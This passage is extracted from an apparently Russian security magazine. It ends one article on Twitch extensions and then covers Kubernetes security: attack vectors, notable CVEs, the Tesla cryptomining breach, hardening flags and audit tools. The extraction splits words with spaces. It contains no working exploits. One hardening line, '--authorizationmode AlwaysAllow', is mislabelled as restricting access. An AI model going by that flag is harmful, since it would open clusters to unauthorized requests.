выб рать вер сию (у нас пока она одна), затем открыть вклад ку Go to Files.

кон‐ 
соль  раз работ чика  рас ширений

Вклад ка заг рузки фай лов в Twitch CDN

Заг рузка фай лов и исто рия пос ледних фай лов

Кро ме заг рузки фай лов, в дру гих вклад ках мож но нас тро ить парамет ры отоб‐ 
ражения  (нап ример,  раз меры    или  типы  видов  рас‐ 
ширения), управлять вер сиями рас ширения, а так же вклю чить монети зацию.

video‐component

Нас трой ки рас ширения

ВЫВОДЫ
Как видишь, рас ширения — мощ ней ший инс тру мент, который в кор не меня ет
спо соб вза имо дей ствия стри мера со зри теля ми. Twitch Extensions поз воля ет
устра ивать  небыва лые  инте рак тивные  тран сля ции  и  шоу,  и  я  показал  тебе
лишь  самую  вер шину  айсбер га.  Это  новое  нап равле ние,  где  толь ко  начали
появ лять ся сто ящие про екты. Теперь и ты тоже можешь поучас тво вать в этом.

WWW

Для  даль нейше го  изу чения  и  раз работ ки  рас‐ 
ширений ты можешь почитать 
или  .

офи циаль ный гайд
справ ку по всем методам

mailto:kireevmp@yandex.ru
https://expressjs.com/ru/
https://www.heroku.com/
https://dev.twitch.tv/docs/extensions/rig/
https://github.com/twitchdev/
https://dev.twitch.tv/docs/pubsub/
https://www.mongodb.com/
https://ru.wikipedia.org/wiki/Cross-origin_resource_sharing
https://dev.twitch.tv/console/extensions
https://dev.twitch.tv/docs/extensions/
https://dev.twitch.tv/docs/extensions/reference/
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НАСТРАИВАЕМ И УСИЛИВАЕМ
БЕЗОПАCНОСТЬ KUBERNETES

Иван Пискунов

АДМИН

Са мое  извес тное  средс тво  кон тей нериза ции  и  авто мати‐ 
зации  раз верты вания  при ложе ний  —  Docker.  Извес тное,
но не единс твен ное: дос той ную кон курен цию ему сос тавля ет
Kubernetes.  Разуме ется,  он  тоже  пред став ляет  опре делен‐ 
ный инте рес для зло умыш ленни ков. Как защитить Kubernetes
от взло ма и сетевых атак? Об этом — сегод няшняя статья.

В    я  рас ска зал  о  том,  как  про верить  текущий  уро вень
защищен ности очень популяр ной в DevOps‐сре де сис темы кон тей нериза ции
Docker и  как  повысить  этот  самый  уро вень. Сегод ня мы про дол жим изу чать
воп росы безопас ности DevOps‐инфраструк туры, и  у  нас под при целом сис‐ 
тема кон тей нер ной оркес тра ции на базе Kubernetes. Мы раз берем основные
век торы атак, изу чим нашумев шие уяз вимос ти, а  так же соберем набор инс‐ 
тру мен тов, необ ходимый для обес печения безопас ности клас тера на Kuber‐
netes. Прис тупим!

прош лой  статье

О KUBERNETES В ДВУХ СЛОВАХ
Я думаю, каж дый, кто хотя бы однажды стал кивал ся с миром DevOps, име ет
общее  пред став ление  о  том,  что  такое  Kubernetes.  Если  крат ко,  то
это  доволь но  популяр ная  сис тема  кон тей нер ной  оркес тра ции  (прав да,
к музыке и оркес трам она не име ет ни малей шего отно шения). На чем осно‐ 
выва ется популяр ность Kubernetes и чем он так хорош?

,  или,  сок ращен но,  , —  сис тема  авто мати зации  раз верты‐ 
вания и мас шта биро вания кон тей неризи рован ных при ложе ний и управле ния
ими,  реали зован ная  на  базе  откры того  прог рам мно го  обес печения. Про ект
был  осно ван  в  2014  году.  Ори гиналь ная  вер сия  неког да  раз рабаты валась
в  нед рах  самой  Google  для  внут ренних  нужд  кор порации,  но  впос ледс твии
была переда на под управле ние опен сор сно му фон ду 

, отку да и попала в широкие мас сы.

Kubernetes K8s

Cloud Native Computing
Foundation

Из началь но  K8s  задумы валась  как  сис тема‐менед жер  для  управле ния
клас терами  из  кон тей неров.  Сис тема  динами чес кая,  она  реаги рует
на  события  в  режиме  реаль ного  вре мени  и  поз воля ет  под нять  сер вис,
который  будет  прос то  работать  без  тан цев  с  буб ном  и  мас шта биро вать ся
по зап росу. Гиб ко, быс тро, эко номи чес ки эффектив но — имен но то, что нуж‐ 
но раз работ чикам!

Ар хитек тура сис темы кон тей нер ной оркес тра ции K8s

В  прак тике  адми нис три рова ния  Kubernetes  исполь зует ся  понятие 
(pods). Каж дый под — это груп па объ еди нен ных общей задачей кон тей неров
(к при меру, на том же Docker), которые могут быть и мик росер висом, и мас‐ 
сивным при ложе нием, раз несен ным на нес коль ко парал лель но работа ющих
машин.  Kubernetes  приз ван  решать  проб лемы  с  эффектив ным  рас пре деле‐ 
нием  выпол нения  кон тей неров  по  узлам  клас тера  в  зависи мос ти  от  изме‐ 
нения  наг рузки  и  текущей  пот ребнос ти  в  сер висах.  Ины ми  сло вами,
перед нами — сис тема гиб кого управле ния инфраструк турой кон тей нериза‐ 
ции с воз можностью балан сиров ки наг рузки.

по дов

Да вай перечис лим основные тех ничес кие задачи, которые мож но решить
с помощью Kubernetes:

за пуск  боль шого  чис ла  кон тей неров  Docker  или  Rocket  на  боль шом
количес тве хос тов;

•

мо нито ринг  сос тояния  run‐time‐сре ды  и  сво евре мен ное  реаги рова ние
на изме нения;

•

уп равле ние  запущен ными  кон тей нерами,  обес печение  их  сов мес тно го
раз мещения и меж контей нер ной реп ликации;

•

мас шта биро вание  и  балан сиров ка  боль шого  количес тва  хос тов  в  пре‐ 
делах клас тера.

•

Се год ня  K8s  стал  неким  стан дартом  для  сов ремен ных  DevOps‐сред  как  в
боль ших  ком пани ях,  так  и  сре ди  стар тапов.  Он  активно  исполь зует ся
в облачных сер висах вро де  ,   или  .AWS Microsoft Azure Google Cloud

По  сво ей  сути  Kubernetes  пред став ляет  собой  один  из  стра теги чес ких
ком понен тов все го DevOps‐про цес са, имен но поэто му ата ки на него всег да
были и оста ются акту аль ными. Ведь, взло мав эту сис тему, хакер получит дос‐ 
туп ко всем нодам и кон тей нерам, запущен ным внут ри K8s, а это уже пря мой
путь и к ком про мета ции или утеч ке кон фиден циаль ных дан ных.

Са мое печаль ное,  что в сети до сих пор пол но пуб личных K8s‐сер веров,
дос туп к которым мож но получить из интерне та. Как? Широко известен, нап‐ 
ример,  замеча тель ный  сер вис  ,  который  поз воля ет  искать  уяз вимые
вер сии ПО, дос тупные из интерне та и «готовые к ата ке». От таких незак рытых
уяз вимос тей  в  свое  вре мя  пос тра дали  десят ки  тысяч  пуб личных  баз  Mon‐
goDB.  Если  ты  захочешь  про верить,  как  работа ет  Shodan  на  прак тике,
это мож но сде лать при помощи поис кового скрип та, выложен ного на  .

Shodan

GitHub

Ре зуль тат поис ка пуб личных сер висов K8s с помощью Shodan

ОБЗОР ОСНОВНЫХ ВЕКТОРОВ АТАК НА KUBERNETES
Как  мы  выяс нили  чуть  рань ше,  K8s  име ет  доволь но  слож ную  архи тек туру
и  исполь зует  в  сво ем  сос таве  мно жес тво  ком понен тов.  Потому  век торы
и типы атак на эту сис тему тоже раз нятся. Итак, общая пло щадь атак вклю чает
в себя:
•  —  глав ный мас тер‐сер вер,  который  управля ет  всем  клас‐ 
тером рабочих узлов (подов) и раз верты вани ем модулей на этих узлах;
Master Node

•   —  рабочие  сер веры,  на  которых  запус кают  кон тей неры
при ложе ний  и  дру гие  ком понен ты  Kubernetes,  к  при меру  такие,  как  K8s‐
аген ты и прок си‐сер веры;

Worker  Node

•   —  это  недели мая  эле мен тарная  еди ница  раз верты вания  и  адре‐ 
сации в Kubernetes. Под име ет собс твен ный IP‐адрес и может содер жать
один или нес коль ко кон тей неров;

Pods

•   —  сетевые  служ бы,  обес печива ющие  обмен  дан ными  внут ри
клас тера,  балан сиров ку,  реп ликацию,  обра баты вающие  зап росы  и  так
далее;

Services

•   —  клю чевые  сис темные  ком понен ты,  которые
исполь зуют ся  для  управле ния  клас тером Kubernetes:  сер вер  , 
и дру гие.

System  Components

API Kubelet

Ти повые век торы атак на K8s

Проб лемы безопас ности K8s
Как  и  в  любой  слож ной  сис теме,  при думан ной  людь ми,  в  инфраструк туре
клас тера K8s име ются  типич ные проб лемы безопас ности, с  которы ми час то
стал кива ются  сис темные адми нис тра торы. Ниже  я  перечис лю самые извес‐ 
тные из них.

,  или  ата ка  «Взрыв  тра фика  Вос ток  —
Запад».  Суть  этой  ата ки  зак люча ется  в  том,  что  кон тей неры  могут  быть
динами чес ки раз верну ты в нес коль ких незави симых друг от дру га обла ках,
что зна читель но уве личи вает тра фик обме на дан ными внут ри логичес кого
клас тера. Это похоже на перегон поез дов по желез ной дороге, и имен но
поэто му дан ный вид атак получил наз вание «С вос тока на запад». Уда лен‐ 
ное  рас положе ние  кон тей неров  может  исполь зовать ся  зло умыш ленни‐ 
ками, нап ример, для реали зации DDoS‐атак.

• Explosion  of  East-West  Traffic

Схе матич ное опи сание ата ки Explosion of East‐West Traffic

•   (уве личен ная  пло щадь  ата ки).  Проб лема
осно выва ется  на  том,  что  каж дый  кон тей нер  может  иметь  раз личную
повер хность  ата ки  и  собс твен ные  уни каль ные  уяз вимос ти,  которые
исполь зуют ся  хакера ми  для  даль нейше го  взло ма.  К  при меру,  могут
исполь зовать ся уяз вимос ти для Docker или сис темы авто риза ции AWS.

Increased  Attack  Surface

•  (ком про мета ция кон тей нера). Суть ата ки кро ется
в  исполь зовании  невер ной  кон фигура ции  (security  misconfiguration)
для всех кон тей неров клас тера, которые кос венным обра зом спо собс тву‐ 
ют  ком про мета ции  или  же  вклю чают  в  себя  уяз вимос ти  при ложе ний.
К  ком про мета циям  кон тей нера  отно сят ся  манипу ляции  внут ренней  ком‐ 
мутаци ей, управле нием про цес сами или дос тупом к фай ловой сис теме.

Container compromise

•   (несан кци они рован ные
соеди нения меж ду подами внут ри еди ного клас тера). Ском про мети рован‐ 
ные  кон тей неры  могут  соеди нять ся  с  дру гими  кон тей нерами  на  том  же
или  на  дру гих  хос тах,  что бы  запус тить  какую‐либо  ата ку.  Нес мотря  на  то
что филь тра ция  на  уров не  L3  (ACL‐лис ты)  обес печива ется  сетевым обо‐ 
рудо вани ем сог ласно нас тро енным пра вилам, некото рые неав торизо ван‐ 
ные  обра щения  могут  быть  обна руже ны  толь ко  с  помощью  филь тра ции
на седь мом уров не модели OSI.

Unauthorized  connections  between  pods

Не кото рые нашумев шие кей сы, свя зан ные с безопас ностью K8s

При меры кри тичес ких багов
Лю бой  прик ладной  и  сис темный  софт  име ет  ряд  кри тичес ких  уяз вимос тей,
и K8s не исклю чение. Наличие подоб ных багов ста вит под угро зу весь клас‐ 
тер, от запущен ных кон тей неров в целом до кон крет ных дан ных, хра нящих ся
внут ри БД на каком‐либо отдель ном поде.

По  ста тис тике,  соб ранной  из  ,  боль ше  все го
кри тичес ких оши бок было обна руже но в 2018 году — восемь штук, и четыре
уяз вимос ти най дены  уже в  текущем  году. Ниже я рас ска жу о  самых  гром ких
багах, наделав ших мно го шуму сре ди раз работ чиков, которые исполь зовали
Kubernetes.

ре естра  уяз вимос тей  NIST

Ста тис тика уяз вимос тей K8s из реес тра NIST

 получи ла номер  . Об этом баге,  обна‐ 
ружен ном в текущем году, мы уже   на стра ницах нашего жур нала. Он
поз воля ет  вре донос ному  кон тей неру переза писать исполня емый файл  runC
на хост‐сис теме, при этом никако го вза имо дей ствия с поль зовате лем не тре‐ 
бует ся.  В  резуль тате  подоб ной  ата ки  зло умыш ленник  может  получить  root‐
дос туп  к  хос ту  и  воз можность  исполнять  на  нем  про изволь ный  код.  В  фев‐ 
рале 2019 года экс пло ит для CVE‐2019‐5736 был опуб ликован на  .

Пер вая уяз вимость CVE‐2019‐5736
пи сали

GitHub
,  выяв ленный  в  мар те  2019  года,  име ет  иден тифика тор

.  Он  поз воля ет  ата кующе му  дос тавлять  фай лы  из  пода
на компь ютер опе рато ра или модифи циро вать их с помощью под мены tar bi‐
nary, исполь зуя обыч ную внут реннюю коман ду  .

Еще  один  баг

CVE‐2019‐11246

kubectl cp

Схе матич ное опи сание уяз вимос ти CVE‐2019‐11246

  —    свя зан  с  эска лаци ей
при виле гий.  Он  поз воля ет  ата кующе му  повысить  при виле гии  в  клас тере
и  получить  к  нему  дос туп  из‐за  логичес кой  ошиб ки  обра бот ки  API‐вызовов.
Экспер ты по безопас ности оце нили уяз вимость в 9,8 бал ла по шка ле CVSS,
пос коль ку  брешь  не  тре бует  пред варитель ной  аутен тифика ции  и  прос та
в  экс плу ата ции.  Несан кци они рован ный  дос туп  откры вает ся  пос ле  отправ ки
спе цифи чес кого зап роса к API‐сер веру Kubernetes. Все уяз вимые сбор ки Ku‐
bernetes  некор рек тно  обра баты вают  вре донос ный  зап рос,  поз воляя  обра‐ 
тить ся к бэкен ду с исполь зовани ем учет ных дан ных TLS, про писан ных в нас‐ 
трой ках  API‐сер вера.  Через  нес коль ко  дней  пос ле  обна руже ния  проб лемы
PoC‐экс пло ит  был  .  Поз же  выпус тили  ,  зак рыва‐ 
ющий эту уяз вимость.

Дру гой  прош логод ний  баг CVE‐2018‐1002105

опуб ликован  на  GitHub патч

Схе матич ное опи сание уяз вимос ти CVE‐2018‐1002105

Вот общий сце нарий дей ствий хакеров при исполь зовании уяз вимос ти CVE‐
2018‐1002105.
1. Оп ределе ние локации в ИТ‐лан дшаф те, где запущен K8s.
2. Экс плу ата ция извес тных уяз вимос тей облачных про вай деров.
3. За пуск команд внут ри кон тей нера.
4. Дос туп к фай ловой сис теме node.
5. Раз ведка во внут ренней сети, горизон таль ное рас ширение и зак репле ние
внут ри взло ман ных сис тем.

, свя зан ный с K8s, имел мес то в 2018 году. Речь
идет о взло ме акка унта всем извес тной ком пании Tesla в обла ке Amazon Web
Services. Как поз же выяс нили экспер ты, учет ные дан ные в одном из подов Ku‐
bernetes откры ли дос туп к сре де AWS Tesla, которая содер жала кор зину Ama‐
zon S3. В ней, в свою оче редь, хра нились кон фиден циаль ные дан ные, в том
чис ле телемет рия. Одна ко вмес то кра жи этих дан ных хакеры начали 

 на одном из подов Tesla.

Еще один гром кий кейс

май нить
крип товалю ту

По шаго вый сце нарий взло ма AWS обла ка Tesla c целью май нин га

INFO

Хо роший и дос тупный каж дому адми ну бен чмарк
про вер ки  безопас ности  K8s  —  набор 

, который мож но бес плат но заб‐ 
рать  с  офи циаль ного  сай та  CIS  или 

.  Набор  вклю чает  спи сок  рекомен‐ 
дуемых  тре бова ний  безопас ности,  чек‐лист  про‐ 
вер ки  и  скрип ты  для  авто мати чес кого  ана лиза
текущих кон фигура ций K8s.

CIS Kuber‐
netes Benchmark

GitHub‐
репози тория

УСИЛИВАЕМ БЕЗОПАСНОСТЬ KUBERNETES
Обес печение  безопас ности  Kubernetes  условно  мож но  пред ста вить  дву мя
прак тичес кими под ходами. Пер вый под ход — это нас трой ка опций безопас‐ 
ности (security hardening) и исполь зование луч ших прак тик (security best prac‐
tices)  на  всех  клю чевых  эле мен тах  K8s‐инфраструк туры.  Вто рой  под ход  —
при мене ние  сто рон них  ути лит  с  откры тыми  исходни ками  и  ком мерчес ких
решений  для  обес печения  монито рин га,  кон тро ля  и  управле ния  уров нем
безопас ности.

Нач ну с общих рекомен даций и советов, как уси лить безопас ность Kuber‐
netes,  которы ми  в  сос тоянии  вос поль зовать ся  любой  DevOps‐адми нис тра‐ 
тор.
1.  .  Для  каж дого
инфраструк турно го  ком понен та K8s,  под держи вающе го про токол TLS, он
дол жен  быть  вклю чен.  Это  гаран тиру ет  защиту  от  сниф финга  тра фика,
фор сирова ние  удос товере ния  иден тичнос ти  сер вера  и  (в  слу чае  Mutual
TLS) удос товере ния иден тичнос ти кли ента.

Пов семес тное  исполь зование  шиф рования  TLS

2. 
.  Управле ние  дос тупом  на  осно ве  ролей  (Role‐

based access control, RBAC) обес печива ет тон кое управле ние полити ками,
с исполь зовани ем которых поль зовате ли получа ют дос туп к таким ресур‐ 
сам, как  .

RBAC-ори енти рован ная  модель  дос тупа  и  минималь но  воз- 

можные  при виле гии

прос транс тва имен
3.  .  Цен тра лиза ция  аутен‐ 
тифика ции  и  авто риза ции  для  всей  ком пании,  к  при меру  на  базе  LDAP
и  Single  Sign  On,  помога ет  выдавать  и  отзы вать  пра ва  для  сот рудни ков
пред при ятия.

Сто рон няя  аутен тифика ция  для  API  server

4.  . Пос коль ку клас‐ 
тер    хра нит информа цию о сос тоянии Kubernetes и сек ретах дос тупа
(токены, сер тифика ты), он явля ется кри тич ным ком понен том K8s. Имен но
поэто му etcd дол жен быть защищен отдель но от осталь ного клас тера, луч‐ 
ше за фай рво лом и изо лиро ван ной VPC.

Ин капсу ляция клас тера etcd за сетевым экра ном

etcd

5.  .  Регуляр ная
ротация  (по  сро ку  и  событию)  клю чей  безопас ности  и  сер тифика тов  —
одна из луч ших прак тик в обес печении безопас ности любой ИТ‐сис темы.
Она поз воля ет огра ничить «ради ус пораже ния» при ком про мета ции клю ча
дос тупа.

Сис темати чес кая  ротация  клю чей  шиф рования

6.  .
Кон фиден циаль ная  информа ция,  про дек лариро ван ная  в  YAML‐фор мате,
не дол жна хра нить ся в откры том виде на подах. А кон фиден циаль ные кон‐ 
фигура ции  и  сек реты  дос тупа  (пароли)  дол жны  быть  зашиф рованы
с  помощью  таких  инс тру мен тов,  как  .  Ста тичес кий  ана лиз  кон‐ 
фигура ции YAML может исполь зовать ся для уста нов ления базовых показа‐ 
телей безопас ности, при чем про водить такой ана лиз сле дует регуляр но.

Ре гуляр ный  ста тичес кий  ана лиз  YAML-фай лов  кон фигура ции

git‐crypt

7.  .
Зачас тую  у  кон тей неров,  которые  запус кают ся  с  пра вами  супер поль‐ 
зовате ля  root,  нам ного  боль ше  прав,  чем  того  тре буют  их  рабочие  наг‐ 
рузки,  что  в  слу чае  ком про мета ции  помога ет  ата кующим  получить
еще боль ше воз можнос тей.

Ог раниче ния на запуск кон тей неров под учет ной записью root

8.  .  По  умол чанию  сеть  в  Kubernetes
раз реша ет  весь  тра фик  меж ду  подами  без  каких‐либо  огра ниче ний.  Эту
нас трой ку мож но огра ничить сетевой полити кой —  .

Обя затель ные  сетевые  полити ки

NetworkPolicy

9. 
.  Что бы  повысить  безопас ность  сетевой

инфраструк туры  в  Kubernetes,  мож но  исполь зовать  спе циаль ный  набор
команд, которые я при вожу ниже.

Не кото рые  коман ды  для  фор сирова ния  безопас ности  на  эле- 

мен тах K8s-инфраструк туры

Для API-сер вера:
// Отключение анонимного доступа 
‐‐anonymous‐auth=false 

// Разрешение только авторизованных запросов 
 ‐‐authorizationmode AlwaysAllow

// Форсирование ограничений прав на kubelets, включая NodeRe
striction на API server
 ‐‐admission‐control

// Форсирование использования RBAC‐модели доступа к объектам K8s
‐‐authorization‐mode=RBAC

// Отключение небезопасных портов
‐‐insecure‐port=0

Для etcd-сер вера:
// Форсирование использования защищенного HTTPS connections к 
серверу etcd
‐‐cert‐file and ‐‐key‐file 

// Включение принудительной авторизации при обращении к etcd
‐‐client‐cert‐auth=true 

// Использование только подписанных сертификатов
‐‐trusted‐ca‐file 

// Отключение использования автоподписанных сертификатов
 ‐‐auto‐tls=false 

// Использование только безопасных методов подключения
‐‐peer‐client‐cert‐auth=true
‐‐peer‐autotls=false and specify ‐‐peer‐cert‐file, ‐‐peer‐key‐file

// Запуск etcd в защищенном исполнении
‐‐peer‐trusted‐ca‐file

// Форсирование авторизации с использованием сертификатов для 
API‐сервера
‐‐etcd‐cafile

Ре комен дуемые шаги для уси ления безопас ности перед раз -
верты вани ем K8s-клас тера

Ис поль зуй на всю катуш ку прос транс тва имен (namespaces).•
Фор сируй SELinux (хотя бы в про дак шен‐сре де!).•
Ис поль зуй Seccomp.•
Ис поль зуй Cgroups.•
Ис поль зуй минималь ное количес тво запущен ных хос тов.•
Не  забывай  про  уста нов ку  обновле ний  и  пат чей  (обновле ния  ядра,  биб‐ 
лиотек и так далее).

•

Пе риоди чес ки запус кай тес ты безопас ности CIS Benchmark для кон тро ля
сос тояния защищен ности.

•

WARNING

Пе ред  любыми  опе раци ями  кон фигури рова ния
не  забывай  сде лать  бэкап  кон фига!  Докумен‐ 
тируй  все  изме нения,  что бы  потом  не  потерять
лог  изме нений  и  не  выр вать  себе  с  досады
волосы на затыл ке.

Продолжение статьи →
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НАСТРАИВАЕМ И УСИЛИВАЕМ
БЕЗОПАCНОСТЬ KUBERNETES

АДМИН  НАЧАЛО СТАТЬИ←

Ути литы для ауди та безопас ности
Аудит  безопас ности  Kubernetes  для  эффектив ной  ком плексной  оцен ки  дол‐ 
жен вклю чать в себя нес коль ко сле дующих областей:

бе зопас ность конеч ных хос тов (Host security);•
бе зопас ность мас тер‐ноды и API‐сер вера Kubernetes (Master node Kuber‐
netes security);

•

бе зопас ность демонов Docker (Docker daemon security);•
кон тей нер ную безопас ность (Container security);•
пра вила  исполь зования  модели  RBAC‐дос тупа  (Properly  configured
RBACs);

•

бе зопас ность  хра нимых  и  переда ваемых  дан ных  (Securing  data  at  rest
and in transit).

•

Ути лит ка‐ска нер   — это шус трое при ложе ние, написан ное на Go,
которое  про веря ет,  нас коль ко  безопас но  раз вернут  Kubernetes.  Для  это го
kube‐bench про гоня ет все про вер ки, опи сан ные в тес те  . Тес‐ 
ты нас тра ивают ся с помощью фай лов YAML, что поз воля ет лег ко обновлять их
по мере раз вития спе цифи каций.

kube‐bench

CIS Kubernetes

Ре зуль тат ска ниро вания ути литой kube‐bench

При меры исполь зования некото рых команд ути литы kube‐bench:

// Запуск утилиты в автоматическом режиме (автопоиск мастер‐ноды)
# kube‐bench master

// Запуск тестов безопасности CIS Kubernetes
# kube‐bench node ‐‐version 1.13

// Запуск утилиты внутри контейнера
# docker run ‐‐pid=host ‐v /etc:/etc:ro ‐v /var:/var:ro ‐t aquasec/
kube‐bench:latest [master|node] ‐‐version 1.13

Еще одна ути лита —   — это инс тру мент коман дной стро ки для ауди‐ 
та клас теров Kubernetes на пред мет раз личных проб лем безопас ности. Под‐ 
держи вает  про вер ку  мно жес тва  опций,  к  при меру  таких,  как  запуск  кон тей‐ 
неров  под  учет ной  записью  root,  хра нение  сек ретов  дос тупа  (токены,  сер‐ 
тифика ты), воз можность записи в кор невую дирек торию.

Kubeaudit

Для уста нов ки ути литы в сис тему исполь зуй сле дующие коман ды:

# go get ‐v github.com/Shopify/kubeaudit
# make
# make install

За пус тить все име ющиеся тес ты в пос ледова тель ном режиме мож но так:

# kubeaudit all

Для  про вер ки  безопас ности  для  сер висных  акка унтов  пре дус мотре на  вот
такая коман да:

# kubeaudit sat сервиск акунт

А эта коман да пред назна чена для про вер ки безопас ного исполь зования при‐ 
виле гий:

# kubeaudit priv

Ре зуль тат ска ниро вания ути литой Kubeaudit

 — инс тру мент управле ния сек ретами дос тупа для Kubernetes с под‐ 
дер жкой  таких сер висов,  как GPG, Google Cloud KMS и AWS KMS backends.
Служ ба  оце нива ет,  нас коль ко  ресур сы  Kubernetes  исполь зуют  воз можнос ти
для  повыше ния  безопас ности.  Поль зователь  получа ет  рекомен дации,
как повысить общую безопас ность сис темы. Пос мотреть вжи вую, как работа‐ 
ет эта ути лита, мож но на  .

Kubesec

де монс тра цион ном виде оро лике

Ле гитим ность исполь зуемых обра зов
Ле гитим ность  исполь зования  обра зов  для  раз верты вания  кон тей неров  —
один  из  клю чевых  кри тери ев  безопас ности.  Но  эта  фича  отно сит ся  ско рее
к Docker,  чем  к  Kubernetes,  поэто му  я  рас ска жу  об  исполь зуемых  для  это го
инс тру мен тах очень крат ко. Более под робную информа цию ты можешь най ти
в нашей статье по  .бе зопас ности Docker

 — это про ект с откры тым исходным кодом для ста тичес кого ана лиза
уяз вимос тей в кон тей нерах   и  . Дан ные об уяз вимос тях пос тоян но
импорти руют ся  из  извес тных  источни ков  и  соот носят ся  с  индекси рован ным
содер жимым обра зов кон тей нера, что бы сфор мировать спис ки уяз вимос тей,
угро жающих каж дому кон тей неру в отдель нос ти.

Clair
appc docker

Ар хитек тура ска нера уяз вимос тей Clair

Еще  одна  похожая  ути лита  носит  наз вание  .  Это  инс тру мент  для  ста‐ 
тичес кого  ана лиза  извес тных  уяз вимос тей,  поис ка  тро янов,  вирусов,  вре‐ 
донос ных  прог рамм,  а  так же  дру гих  угроз  в  обра зах  и  кон тей нерах  Docker.
Кро ме  того,  Dagda  исполь зует ся  для  монито рин га  сетевых  служб  Docker
и запус ка кон тей неров в целях обна руже ния ано маль ных дей ствий. Про вер ка
зависи мос тей осно вана на про ектах   и   для ана лиза безопас‐ 
ности таких сло ев, как Java, Python, Node.js, JS, Ruby, PHP.

Dagda

OWASP Retire.js

Ар хитек тура ска нера уяз вимос тей Dagda

 —  прос той  и  ком плексный  ска нер  уяз вимос тей  для  кон тей неров,  под‐ 
держи вающий  коман дную  стро ку.  Trivy  обна ружи вает  уяз вимос ти  прог рам‐ 
мных пакетов ОС (Alpine, RHEL, CentOS и дру гих) и зависи мос тей при ложе ний
(Bundler, Composer, npm, yarn и так далее).

Trivy

За пуск ути литы Trivy

Бе зопас ность экс плу ата ции
Для  того  что бы  обес печить  безопас ную  экс плу ата цию Kubernetes,  был  при‐ 
думан  целый  арсе нал  спе циаль ных  ути лит.  Одна  из  них  называ ется  .
Это кру тец кий опен сор сный ска нер от Sysdig Secure для обна руже ния втор‐ 
жений и проб лем безопас ности на плат формах Cloud Native, таких как Kuber‐
netes, Mesosphere и Cloud Foundry. Falco уме ет искать ано малии, нетипич ное
поведе ние и пре дуп режда ет адми на через Slack, Fluentd, NATS, а так же дру‐ 
гие мес сен дже ры.

Falco

Даш борд ска нера Falco

 — сер вис, обес печива ющий филь тра цию сетевой активнос ти с уче том
API‐вызовов  в  кон тей нер ной  инфраструк туре  на  базе  Linux,  в  час тнос ти
в Docker и Kubernetes. Исполь зуя новую тех нологию ядра Linux под наз вани‐ 
ем   (Berkeley Packet Filter), Cilium пре дос тавля ет прос той и эффектив ный
спо соб опре делять и при менять полити ки безопас ности как сетево го уров ня,
так и уров ня при ложе ний на осно ве иден тифика тора кон тей нера или модуля.

Cilium

BPF

Ар хитек тура Cilium

 — сер вис от всем извес тной ком пании  . Он поз воля ет хра нить
и стро го  кон тро лиро вать дос туп  к  токенам, паролям,  сер тифика там,  клю чам
шиф рования  для  защиты  сек ретов  и  дру гих  кон фиден циаль ных  дан ных
из  поль зователь ско го  интерфей са,  CLI‐стро ки  или  с  помощью  API‐вызовов
по про токо лу HTTP.

Vault HashiCorp

Ар хитек тура HashiCorp Vault

Бе зопас ность сетево го вза имо дей ствия
Ре шение    обес печива ет  безопас ное  сетевое  вза имо дей ствие  меж ду
кон тей нерами и вир туаль ными машина ми в одном клас тере. По сути, Сalico
пред став ляет собой соф товый свитч (Softswitch), который соз дает сеть треть‐ 
его  уров ня и  управля ет ею,  наз начая  каж дому инстан су  пол ностью мар шру‐ 
тизи руемый IP‐адрес. В сре дах, где тре бует ся наложе ние, Calico исполь зует
тун нелиро вание  IP‐in‐IP,  что  поз воля ет  работать  с  дру гими  наложен ными
сетями.

Calico

Ар хитек тура Calico

Еще одно полез ное при ложе ние —   пред став ляет собой кон тей нер ный
меж сетевой  экран.  Прог рамма  исполь зует  тех нологию  ядра  Linux  BPF
для филь тра ции, детек та, монито рин га и перенап равле ния дан ных с исполь‐ 
зовани ем  вызовов  ядра.  Cilium  помога ет  раз верты вать  полити ки  дос тупа
к сети на осно ве иден тифика тора кон тей нера с исполь зовани ем меток тегов.
Помимо  это го,  соф тина  интер пре тиру ет  нес коль ко  про токо лов  уров ня  7,
таких как HTTP или  , что поз воля ет исполь зовать набор вызовов REST.

Cilium

gRPC

Ар хитек тура Cilium

Ком мерчес кие решения для безопас ности Kubernetes
А  теперь  —  нес коль ко  слов  о  ком мерчес ких  решени ях  для  обес печения
безопас ности  Kubernetes  в  час тнос ти  и  всей  облачной  ИТ‐инфраструк туры
вооб ще.  Как  показы вает  прак тика,  исполь зование  ком мерчес ких  Enterprise‐
решений  оправдан но  с  точ ки  зре ния  удобс тва  управле ния  инс тру мен тами
из еди ного окна, ско рос ти их работы и более гиб кого мас шта биро вания, пре‐ 
дос тавля емо го по зап росу. Игро ков на рын ке Cloud Security доволь но мно го,
мы оста новим ся лишь на самых извес тных и про верен ных сер висах.

 — сер вис, нацелен ный на монито ринг и кон троль сос тояния
безопас ности  для  кон тей неров  и  облачных  при ложе ний.  Сер вис  пред став‐ 
ляет  ком плексное  решение  для  авто мати зации  таких  задач,  как  Vulnerability
Management, Runtime Protection, Secrets Management, Embedded CI/CD Scan‐
ning,  Container  Firewall,  Compliance  &  Auditing.  Некото рые  ути литы,  исполь‐ 
зуемые  для  Enterprise,  дос тупны  для  бес плат ного  исполь зования  на 

 про екта.

Aqua Security

GitHub‐
стра нич ке

Ком плексный под ход к обес печению безопас ности от Aqua Security

  —  еще  один  извес тный  сер вис  для  авто мати чес кого  обна руже ния
и  пос тоян ной  оцен ки  гиб ридной  облачной  сре ды  без  уста нов ки  end‐point‐
аген тов  на  конеч ных  хос тах.  Cavirin  обес печива ет  неп рерыв ный монито ринг
базовых показа телей безопас ности на осно ве фрей мвор ков и  луч ших прак‐ 
тик, вклю чая PCI, HIPAA, NIST,  . Сер вис пре дос тавля ет
так же  точ ную и  сво евре мен ную информа цию об обновле ниях безопас ности
и уяз вимос тях. Архи тек тура Cavirin на осно ве API‐интерфей са лег ко интегри‐ 
рует ся  с  дру гими  локаль ными  при ложе ниями,  а  так же  с  SaaS  и  облачны ми
сер висами.

Cavirin

уси ление защиты AWS

Кон соль офи цера безопас ности Cavirin

  —  это  доволь но  извес тная  и  неп лохо  зареко мен довав шая  себя
сквоз ная плат форма безопас ности для всех DevOps‐про цес сов и, в час тнос‐ 
ти, для обес печения безопас ности Kubernetes. Услу га вклю чает в себя такие
фичи,  как  управле ние  уяз вимос тями для обра зов,  кон троль дос тупа,  защита
про цес сов  в  памяти  и  фай ловых  сис тем  в  кон тей нерах,  фай рвол  вплоть
до седь мого уров ня OSI.

NeuVector

Дек ларатив ная  полити ка  безопас ности  обес печива ет  быс трое  мас шта‐ 
биро вание при ложе ний без руч ного вме шатель ства. Решение, пос тавля емое
